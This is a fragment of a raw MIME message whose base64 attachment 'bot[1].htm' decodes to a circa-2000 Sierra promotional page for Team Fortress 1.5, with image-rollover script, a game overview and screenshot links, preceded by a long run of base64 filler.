AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD== --P984D99991Z Content-Type: application/octet-stream; name=bot[1].htm Content-Transfer-Encoding: base64 Content-ID: PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU4i PgoKPGh0bWw+CjxoZWFkPgoJPHRpdGxlPlNpZXJyYTogVGVhbSBGb3J0cmVzcyAxLjU8L3Rp dGxlPgoJCTxNRVRBIE5BTUU9ImtleXdvcmRzIiBDT05URU5UPSJ2YWx2ZSwgdGVhbSBmb3J0 cmVzcywgdGVhbSBmb3J0cmVzcyAyLCB0ZWFtIGZvcnRyZXNzIDEuNSwgdGVhbSBmb3J0cmVz cyBjbGFzc2ljLCB0ZmMsIGNvbXB1dGVyIGdhbWUsIFNpZXJyYSwgc2llcnJhLCBzaWVycmEg b24tbGluZSwgc2llcnJhIG9ubGluZSwgaGF2YXMgaW50ZXJhY3RpdmUsIHZpdmVuZGksIHZp dmVuZGkgdW5pdmVyc2FsIGludGVyYWN0aXZlIj4KCQk8TUVUQSBOQU1FPSJkZXNjcmlwdGlv biIgQ09OVEVOVD0iVGVhbSBGb3J0cmVzcyAxLjUgYSBmcmVlIHRlYW1wbGF5IGFkZC1vbiBm b3IgSGFsZi1MaWZlLiI+CgkJPE1FVEEgTkFNRT0iYXV0aG9yIiBDT05URU5UPSJTaWVycmEg T24tTGluZSwgSW5jLiB8IFNpdGUgRGVzaWduIGJ5IEZpcnN0V2ViIj4KCQk8TUVUQSBOQU1F PSJjb3B5cmlnaHQiIENPTlRFTlQ9IjIwMDAgU2llcnJhIE9uLUxpbmUuIEFsbCBSaWdodHMg UmVzZXJ2ZWQuIEhhbGYtTGlmZSBpcyBhIHJlZ2lzdGVyZWQgdHJhZGVtYXJrIG9mIFNpZXJy YSBPbi1MaW5lLCBJbmMuIj4KCgogIDxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQxLjEi PgoKICAgICAgICAgICAgICAgIDwhLS0KICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2Vz ID0gbmV3IEFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICBmdW5jdGlvbiBjaGFuZ2UoaW1hZ2VuYW1lLCBldmVudCkKICAgICAgICAg ICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQg W2ltYWdlbmFtZV0uc3JjID0gaW1hZ2VzW2ltYWdlbmFtZSArICItIiArIGV2ZW50XS5zcmM7 CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg cmV0dXJuOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbG9hZChwcmVmaXgsIGltYWdlbmFtZSwg b3B0aW9uKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICBpZiAobG9hZC5hcmd1 bWVudHMubGVuZ3RoID09IDIpCiAgICAgICB7CiAgICAgICAgICAgICAgICAgIGltYWdlc1tp bWFnZW5hbWUgKyAiLW9uIl0gPSBuZXcgSW1hZ2UoKTsKICAgICAgICAgICAgICAgICAgaW1h Z2VzW2ltYWdlbmFtZSArICItb24iXS5zcmMgPSBwcmVmaXggKyBpbWFnZW5hbWUgKyAiLW9u LmdpZiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgIGltYWdlc1tpbWFnZW5hbWUgKyAiLW9mZiJdID0gbmV3IEltYWdlKCk7CiAgICAgICAg ICAgICAgICAgIGltYWdlc1tpbWFnZW5hbWUgKyAiLW9mZiJdLnNyYyA9IHByZWZpeCArIGlt YWdlbmFtZSArICItb2ZmLmdpZiI7CiAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIGVs c2UgaWYgKGxvYWQuYXJndW1lbnRzLmxlbmd0aCA9PSAzKQogICAgICAgICAgewogICAgICAg ICAgICAgICAgICBpbWFnZXNbaW1hZ2VuYW1lICsgIi1vbiJdID0gbmV3IEltYWdlKCk7CiAg ICAgICAgICAgICAgICAgIGltYWdlc1tpbWFnZW5hbWUgKyAiLW9uIl0uc3JjID0gcHJlZml4 ICsgaW1hZ2VuYW1lICsgIi1vbi5qcGciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICBpbWFnZXNbaW1hZ2VuYW1lICsgIi1vZmYiXSA9IG5l dyBJbWFnZSgpOwogICAgICAgICAgICAgICAgICBpbWFnZXNbaW1hZ2VuYW1lICsgIi1vZmYi XS5zcmMgPSBwcmVmaXggKyBpbWFnZW5hbWUgKyAiLW9mZi5qcGciOwogICAgICAgICAgfQoK ICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgfQoKICAgICAgICAgIGxvYWQoImltYWdl cy8iLCAib3ZlcnZpZXciKTsKICAgICAgICAgIGxvYWQoImltYWdlcy8iLCAibWVkaWEiKTsK ICAgICAgICAgIGxvYWQoImltYWdlcy8iLCAibmV3cyIpOwoJCSAgbG9hZCgiaW1hZ2VzLyIs ICJmb3J1bSIpOwogICAgICAgICAgLy8gLS0+CiAgICAgICAgCgo8L3NjcmlwdD4KCjwvaGVh ZD4KCjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9IiNjY2NjY2MiIGxpbms9IiNmZmZm ZmYiIHZsaW5rPSIjY2NjY2NjIiBhbGluaz0iIyNmZjY2MDAiPgoKPHRhYmxlIGFsaWduPSJj ZW50ZXIiIGJnY29sb3I9IiMwMDAwMDAiIHdpZHRoPSI5NSUiIGNlbGxzcGFjaW5nPSIwIiBj ZWxscGFkZGluZz0iMCIgYm9yZGVyPSIwIj4KCTx0cj4KCSAgICA8dGQgdmFsaWduPSJ0b3Ai IGFsaWduPSJjZW50ZXIiPgoJCQk8dGFibGUgd2lkdGg9IjQxNSIgY2VsbHBhZGRpbmc9IjAi IGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiPgoJCQkJPHRyPgoJCQkJCTx0ZD4KCQkJCQkJ PGJyPgoJCQkJCQk8cCBhbGlnbj0ibGVmdCI+CgkJCQkJCTxOT0JSPjxhIGhyZWY9ImJvdC5o dG1sI292ZXJ2aWV3IiBvbm1vdXNlb3V0PSJjaGFuZ2UoJ292ZXJ2aWV3JywgJ29mZicpIiBv bm1vdXNlb3Zlcj0iY2hhbmdlKCdvdmVydmlldycsICdvbicpIj48aW1nIHNyYz0iaW1hZ2Vz L292ZXJ2aWV3LW9mZi5naWYiIHdpZHRoPTk4IGhlaWdodD0yMCBib3JkZXI9MCBhbHQ9Ik92 ZXJ2aWV3IiBuYW1lPSJvdmVydmlldyI+PC9hPjxhIGhyZWY9Im1lZGlhLmh0bWwiIG9ubW91 c2VvdXQ9ImNoYW5nZSgnbWVkaWEnLCAnb2ZmJykiIG9ubW91c2VvdmVyPSJjaGFuZ2UoJ21l ZGlhJywgJ29uJykiPjxpbWcgc3JjPSJpbWFnZXMvbWVkaWEtb2ZmLmdpZiIgd2lkdGg9OTkg aGVpZ2h0PTIwIGJvcmRlcj0wIGFsdD0iTWVkaWEiIG5hbWU9Im1lZGlhIj48L2E+PGEgaHJl Zj0ibmV3cy5odG1sIiBvbm1vdXNlb3V0PSJjaGFuZ2UoJ25ld3MnLCAnb2ZmJykiIG9ubW91 c2VvdmVyPSJjaGFuZ2UoJ25ld3MnLCAnb24nKSI+PGltZyBzcmM9ImltYWdlcy9uZXdzLW9m Zi5naWYiIHdpZHRoPTY0IGhlaWdodD0yMCBib3JkZXI9MCBhbHQ9Ik5ld3MiIG5hbWU9Im5l d3MiPjwvYT48YSBocmVmPSJodHRwOi8vY29tbXVuaXR5LnNpZXJyYS5jb20vV2ViWD8xM0Ax NDAuQmJmRWFwaE5hWnFeMjhALmVlNmI1YTciIG9ubW91c2VvdXQ9ImNoYW5nZSgnZm9ydW0n LCAnb2ZmJykiIG9ubW91c2VvdmVyPSJjaGFuZ2UoJ2ZvcnVtJywgJ29uJykiIHRhcmdldD0i X2JsYW5rIj48aW1nIHNyYz0iaW1hZ2VzL2ZvcnVtLW9mZi5naWYiIHdpZHRoPTgxIGhlaWdo dD0yMCBib3JkZXI9MCBhbHQ9IkZvcnVtIiBuYW1lPSJmb3J1bSI+PC9hPjwvTk9CUj48YnI+ CgkJCQkJCTxpbWcgc3JjPSJpbWFnZXMvdGYxLjUtbG9nby5qcGciIHdpZHRoPTQ1MCBoZWln aHQ9NjAgYm9yZGVyPTAgYWx0PSIiPjxiciBjbGVhcj0iYWxsIj4KCQkJCQkJPGJyPgoJCQkJ CQk8YSBocmVmPSJtZWRpYS5odG1sIj48aW1nIHNyYz0iaW1hZ2VzL0Rvd25sb2FkLmpwZyIg d2lkdGg9MjM2IGhlaWdodD01MSBib3JkZXI9MCBhbHQ9IkRvd25sb2FkIE5vdyEiPjwvYT4K CQkJCQkJCQkJCQkKCQkJCQkJPHA+PGEgbmFtZT0ib3ZlcnZpZXciPjxpbWcgc3JjPSJpbWFn ZXMvc3ViaGVhZGVyLW92ZXJ2aWV3LmpwZyIgd2lkdGg9NDEyIGhlaWdodD0zOSBib3JkZXI9 MCBhbHQ9Ik92ZXJ2aWV3Ij48L2E+PGJyIGNsZWFyPSJhbGwiPgoJCQkKCQkJCQkJPGZvbnQg ZmFjZT0iYXJpYWwsIGhlbHZldGljYSwgc3dpc3MiIHNpemU9IjIiPgoKCQkJCQkJPHA+CgkJ CQkJCVRlYW0gRm9ydHJlc3MgaXMgYW4gb25saW5lIGFjdGlvbiBnYW1lIHRoYXQgZmVhdHVy ZXMgYSB3aWRlIHZhcmlldHkgb2YKCQkJCQkJY2hhcmFjdGVyIGNsYXNzZXMgLS0gZnJvbSBN ZWRpYyB0byBTcHkgdG8gRGVtb2xpdGlvbiBNYW4gLS0gZW5saXN0ZWQgaW4gYQoJCQkJCQl1 bmlxdWUgc3R5bGUgb2Ygb25saW5lIHRlYW0gd2FyZmFyZS4KCQkJCQkJPHA+CgkJCQkJCU9y aWdpbmFsbHkgcmVsZWFzZWQgaW4gMTk5NiBieSBBdXN0cmFpbGlhbiBiYXNlZCBUZWFtIEZv cnRyZXNzIFNvZnR3YXJlLCBURgoJCQkJCQloYXMgYmVlbiBkb3dubG9hZGVkIGJ5IG1pbGxp b25zIG9mIHBlb3BsZSBhcyBpdCBoYXMgZXZvbHZlZCBhbmQgYmVjb21lIG9uZQoJCQkJCQlv ZiB0aGUgbW9zdCBwb3B1bGFyIG9ubGluZSBhY3Rpb24gZ2FtZXMgb2YgYWxsIHRpbWUuICAK CQkJCQkJPHA+CgkJCQkJCVRoZSBsYXRlc3QgaW5jYXJuYXRpb24gb2YgdGhpcyBtdWx0aXBs YXllciBwaGVub21lbm9uLCBUZWFtIEZvcnRyZXNzIDEuNSwgaXMKCQkJCQkJbm93IGF2YWls YWJsZSBhcyBhIGZyZWUgYWRkLW9uIGZvciBIYWxmLUxpZmUgYW5kIGFkZHMgYW4gYWR2YW5j ZWQKCQkJCQkJdXNlci1pbnRlcmZhY2Ugc3lzdGVtIChWLUdVSSksIG5ldyBuZXR3b3JraW5n IGFuZCBzZXJ2ZXIgdGVjaG5vbG9naWVzLCBuZXcKCQkJCQkJc2NlbmFyaW9zLCBhbmQgc3Bl Y3RhdG9yIG1vZGVzLiAgCgkJCQkJCTxwPgoJCQkJCQlUZWFtIEZvcnRyZXNzIDEuNSBhbHNv IHNlcnZlcyBhcyBhIHBvaW50IG9mIHJlZmVyZW5jZSBmb3IgdGhvc2Ugd2hvIGFyZQoJCQkJ CQlpbnRlcmVzdGVkIGluIHdoYXQgVmFsdmUgaGFzIGluIHN0b3JlIGZvciB0aGUgdXBjb21p bmcgVGVhbSBGb3J0cmVzcyAyOgoJCQkJCQlCcm90aGVyaG9vZCBvZiBBcm1zLiAKCQkJCQkJ PHA+CgkJCQkJCVBsYXllcnMgY2FuIHVwZ3JhZGUgdG8gVGVhbSBGb3J0cmVzcyAxLjUgdmlh IEhhbGYtTGlmZSdzIGluIGdhbWUgdXBkYXRlIHRvb2wKCQkJCQkJb3IgYnkgZG93bmxvYWRp bmcgdGhlIGxhdGVzdCA8YSBocmVmPSIuLi9oYWxmLWxpZmUvc3VwcG9ydC5odG1sIiB0YXJn ZXQ9Il90b3AiPgoJCQkJCQlIYWxmLUxpZmUgdXBkYXRlPC9hPiBhdmFpbGFibGUgZnJvbSBT aWVycmEuY29tLiAgIAoJCQkJCQk8cD4KCQkJCQkJRm9yIGFkZGl0aW9uYWwgaW5mb3JtYXRp b24gb24gVGVhbSBGb3J0cmVzcyAxLjUsIHBsZWFzZSB2aXNpdCBvdXIKCQkJCQkJPGEgaHJl Zj0ibmV3cy5odG1sIiB0YXJnZXQ9ImJvdCI+TmV3cyAKCQkJCQkJU2VjdGlvbjwvYT4gCgkK CQkJCgkJCQkJCTxwPjxhIG5hbWU9InNjcmVlbnMiPjxpbWcgc3JjPSJpbWFnZXMvc3ViaGVh ZGVyLXNjcmVlbnNob3RzLmpwZyIgd2lkdGg9NDEyIGhlaWdodD0zOSBib3JkZXI9MCBhbHQ9 IlNjcmVlbnNob3RzIj48L2E+PGJyIGNsZWFyPSJhbGwiPgoJCQkJCQkKCQkJCQkJPHAgYWxp Z249ImNlbnRlciI+CgkJCQkJCQoJCQkJCQk8Y2VudGVyPgoJCQkJCQk8dGFibGUgYWxpZ249 ImNlbnRlciIgd2lkdGg9IjQwMCIgY2VsbHNwYWNpbmc9IjUiIGNlbGxwYWRkaW5nPSI1Ij4K CQkJCQkJCQoJCQkJCQkJPHRyIGFsaWduPSJjZW50ZXIiPgoJCQkJCQkJICAgIDx0ZD4KCQkJ CQkJCQkJPGEgaHJlZj0ic2NyZWVuc2hvdC1uZXcxLmh0bWwiIHRhcmdldD0iYm90Ij48aW1n IHNyYz0iaW1hZ2VzL3RodW1ibmFpbC1uZXcxLmpwZyIgd2lkdGg9MTEzIGhlaWdodD04NSBi b3JkZXI9MCBhbHQ9IkR1c3Rib3dsIj48L2E+CgkJCQkJCQkJPC90ZD4KCQkJCQkJCSAgICA8 dGQ+CgkJCQkJCQkJCTxhIGhyZWY9InNjcmVlbnNob3QxMC5odG1sIiB0YXJnZXQ9ImJvdCI+ PGltZyBzcmM9ImltYWdlcy90aHVtYm5haWwxMC1jYXN0LmpwZyIgd2lkdGg9MTEzIGhlaWdo dD04NSBib3JkZXI9MCBhbHQ9IkNhc3QiPjwvYT4KCQkJCQkJCQk8L3RkPgoJCQkJCQkJPC90 cj4KCQkJCQkJCTx0ciBhbGlnbj0iY2VudGVyIj4KCQkJCQkJCSAgICA8dGQ+CgkJCQkJCQkJ CTxhIGhyZWY9InNjcmVlbnNob3QtbmV3Mi5odG1sIiB0YXJnZXQ9ImJvdCI+PGltZyBzcmM9 ImltYWdlcy90aHVtYm5haWwtbmV3Mi5qcGciIHdpZHRoPTExMyBoZWlnaHQ9ODUgYm9yZGVy PTAgYWx0PSJOZXcgQ2xhc3MgU2VsZWN0aW9uIFNjcmVlbiB1c2luZyBWR1VJIj48L2E+CgkJ CQkJCQkJPC90ZD4KCQkJCQkJCSAgICA8dGQ+CgkJCQkJCQkJCTxhIGhyZWY9InNjcmVlbnNo b3QtbmV3NC5odG1sIiB0YXJnZXQ9ImJvdCI+PGltZyBzcmM9ImltYWdlcy90aHVtYm5haWwt bmV3NC5qcGciIHdpZHRoPTExMyBoZWlnaHQ9ODUgYm9yZGVyPTAgYWx0PSJOZXcgVGVhbSBT ZWxlY3QgU2NyZWVuIHVzaW5nIFZHVUkiPjwvYT4KCQkJCQkJCQk8L3RkPgoJCQkJCQkJPC90 cj4KCQkJCQkJCQoJCQkJCQkJPHRyIGFsaWduPSJjZW50ZXIiPgoJCQkJCQkJICAgIDx0ZD4K CQkJCQkJCQkJPGEgaHJlZj0ic2NyZWVuc2hvdDEuaHRtbCIgdGFyZ2V0PSJib3QiPjxpbWcg c3JjPSJpbWFnZXMvdGh1bWJuYWlsMS1kZW1vLmpwZyIgd2lkdGg9MTEzIGhlaWdodD04NSBi b3JkZXI9MCBhbHQ9IkRlbW9saXRpb24gTWFuIj48L2E+CgkJCQkJCQkJPC90ZD4KCQkJCQkJ CSAgICA8dGQ+CgkJCQkJCQkJCTxhIGhyZWY9InNjcmVlbnNob3QyLmh0bWwiIHRhcmdldD0i Ym90Ij48aW1nIHNyYz0iaW1hZ2VzL3RodW1ibmFpbDItZW5naW5lZXIuanBnIiB3aWR0aD0x MTMgaGVpZ2h0PTg1IGJvcmRlcj0wIGFsdD0iRW5naW5lZXIiPjwvYT4KCQkJCQkJCQk8L3Rk PgoJCQkJCQkJPC90cj4KCQkJCQkJCTx0ciBhbGlnbj0iY2VudGVyIj4KCQkJCQkJCSAgICA8 dGQ+CgkJCQkJCQkJCTxhIGhyZWY9InNjcmVlbnNob3QzLmh0bWwiIHRhcmdldD0iYm90Ij48 aW1nIHNyYz0iaW1hZ2VzL3RodW1ibmFpbDMtaHcuanBnIiB3aWR0aD0xMTMgaGVpZ2h0PTg1 IGJvcmRlcj0wIGFsdD0iSGVhdnkgV2VhcG9ucyI+PC9hPgoJCQkJCQkJCTwvdGQ+CgkJCQkJ CQkgICAgPHRkPgoJCQkJCQkJCQk8YSBocmVmPSJzY3JlZW5zaG90NC5odG1sIiB0YXJnZXQ9 ImJvdCI+PGltZyBzcmM9ImltYWdlcy90aHVtYm5haWw0LW1lZGljLmpwZyIgd2lkdGg9MTEz IGhlaWdodD04NSBib3JkZXI9MCBhbHQ9Ik1lZGljIj48L2E+CgkJCQkJCQkJPC90ZD4KCQkJ CQkJCTwvdHI+CgkJCQkJCQk8dHIgYWxpZ249ImNlbnRlciI+CgkJCQkJCQkgICAgPHRkPgoJ CQkJCQkJCQk8YSBocmVmPSJzY3JlZW5zaG90NS5odG1sIiB0YXJnZXQ9ImJvdCI+PGltZyBz cmM9ImltYWdlcy90aHVtYm5haWw1LXB5cm8uanBnIiB3aWR0aD0xMTMgaGVpZ2h0PTg1IGJv cmRlcj0wIGFsdD0iUHlybyI+PC9hPgoJCQkJCQkJCTwvdGQ+CgkJCQkJCQkgICAgPHRkPgoJ CQkJCQkJCQk8YSBocmVmPSJzY3JlZW5zaG90Ni5odG1sIiB0YXJnZXQ9ImJvdCI+PGltZyBz cmM9ImltYWdlcy90aHVtYm5haWw2LXNjb3V0LmpwZyIgd2lkdGg9MTEzIGhlaWdodD04NSBi b3JkZXI9MCBhbHQ9IlNjb3V0Ij48L2E+CgkJCQkJCQkJPC90ZD4KCQkJCQkJCTwvdHI+CgkJ CQkJCQk8dHIgYWxpZ249ImNlbnRlciI+CgkJCQkJCQkgICAgPHRkPgoJCQkJCQkJCQk8YSBo cmVmPSJzY3JlZW5zaG90Ny5odG1sIiB0YXJnZXQ9ImJvdCI+PGltZyBzcmM9ImltYWdlcy90 aHVtYm5haWw3LXNvbGRpZXIuanBnIiB3aWR0aD0xMTMgaGVpZ2h0PTg1IGJvcmRlcj0wIGFs dD0iU29sZGllciI+PC9hPgoJCQkJCQkJCQk8L3RkPgoJCQkJCQkJICAgIDx0ZD4KCQkJCQkJ CQkJPGEgaHJlZj0ic2NyZWVuc2hvdDguaHRtbCIgdGFyZ2V0PSJib3QiPjxpbWcgc3JjPSJp bWFnZXMvdGh1bWJuYWlsOC1zcHkuanBnIiB3aWR0aD0xMTMgaGVpZ2h0PTg1IGJvcmRlcj0w IGFsdD0iU3B5Ij48L2E+CgkJCQkJCQkJPC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCQk8dHIg YWxpZ249ImNlbnRlciI+CgkJCQkJCQkgICAgPHRkPgoJCQkJCQkJCQk8YSBocmVmPSJzY3Jl ZW5zaG90MTEuaHRtbCIgdGFyZ2V0PSJib3QiPjxpbWcgc3JjPSJpbWFnZXMvdGh1bWJuYWls MTEtc25pcGVyLmpwZyIgd2lkdGg9MTEzIGhlaWdodD04NSBib3JkZXI9MCBhbHQ9IlNuaXBl ciI+PC9hPgoJCQkJCQkJCQk8L3RkPgoJCQkJCQkJICAgIDx0ZD4KCQkJCQkJCQkJPGEgaHJl Zj0ic2NyZWVuc2hvdDkuaHRtbCIgdGFyZ2V0PSJib3QiPjxpbWcgc3JjPSJpbWFnZXMvdGh1 bWJuYWlsOS1jYXN0LmpwZyIgd2lkdGg9MTEzIGhlaWdodD04NSBib3JkZXI9MCBhbHQ9IkNh c3QiPjwvYT4KCQkJCQkJCQk8L3RkPgoJCQkJCQkJPC90cj4KCQkJCQkJPC90YWJsZT4KCQkJ CQkJPC9jZW50ZXI+CgkJCQkJCTxiciBjbGVhcj0iYWxsIj4JCQkKCQkJCQkJPC9mb250PgoJ CQkJCTwvdGQ+CgkJCQk8L3RyPgoJCQk8L3RhYmxlPgoJCTwvdGQ+CgkgICAgPHRkIHdpZHRo PSIxNDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPgoJCQk8cD4mbmJzcDs8L3A+CgkJ CTxwPiZuYnNwOzwvcD4KCQkJPHA+Jm5ic3A7PC9wPgoJCQk8cD4mbmJzcDs8L3A+CgkJCgkJ CTxpbWcgc3JjPSJpbWFnZXMvc2lkZTEuanBnIiB3aWR0aD0xNDAgaGVpZ2h0PTIzMiB2c3Bh Y2U9IjUiIGJvcmRlcj0wIGFsdD0iVEYgQ2xhc3NpYyI+CgkJCTxicj48YnI+CgkJCTxpbWcg c3JjPSJpbWFnZXMvc2lkZTIuanBnIiB3aWR0aD0xNDAgaGVpZ2h0PTIxNCB2c3BhY2U9IjUi IGJvcmRlcj0wIGFsdD0iVEYgQ2xhc3NpYyI+CgkJCTxicj48YnI+CgkJCTxpbWcgc3JjPSJp bWFnZXMvc2lkZTMuanBnIiB3aWR0aD0xNDAgaGVpZ2h0PTE5OSB2c3BhY2U9IjUiIGJvcmRl cj0wIGFsdD0iVEYgQ2xhc3NpYyI+CgkJCTxiciBjbGVhcj1hbGw+CgkJPC90ZD4KCgk8L3Ry PgoJPHRyPgoJCTx0ZCBhbGlnbj0iY2VudGVyIj4KCQkJPGEgaHJlZj0iaHR0cDovL3d3dy52 YWx2ZXNvZnR3YXJlLmNvbS8iIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1hZ2VzL3Zh bHZlLmdpZiIgd2lkdGg9ODEgaGVpZ2h0PTMwIGFsdD0iVmFsdmUiIGJvcmRlcj0iMCI+PC9h PjxhIGhyZWY9Imh0dHA6Ly93d3cuc2llcnJhLmNvbS9nYW1lcy9oYWxmLWxpZmUvIiB0YXJn ZXQ9Il90b3AiPjxpbWcgc3JjPSJpbWFnZXMvaGFsZi1saWZlLmdpZiIgd2lkdGg9MzE5IGhl aWdodD0zMCBhbHQ9IkhhbGYtTGlmZSIgYm9yZGVyPSIwImhzcGFjZT0iMTAiPjwvYT4mbmJz cDsmbmJzcDs8YSBocmVmPSJodHRwOi8vd3d3LmVzcmIub3JnL2NvZGUiIHRhcmdldD0iX2Js YW5rIj48aW1nIHNyYz0iaW1hZ2VzL2VzcmItbWF0dXJlLmdpZiIgd2lkdGg9MzggaGVpZ2h0 PTUzIGJvcmRlcj0wIGFsdD0iTWF0dXJlICgxNyspIC0gQW5pbWF0ZWQgQmxvb2QsIEFuaW1h dGVkIFZpb2xlbmNlIj48L2E+PGJyIGNsZWFyPSJhbGwiPgoJCTwvdGQ+CgkJPHRkIHdpZHRo PSIxNDAiPiZuYnNwOwoJCQkKCQk8L3RkPgoJPC90cj4KPC90YWJsZT4KCjx0YWJsZSB3aWR0 aD0iOTglIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgoJPHRyPgoJCTx0ZCBh 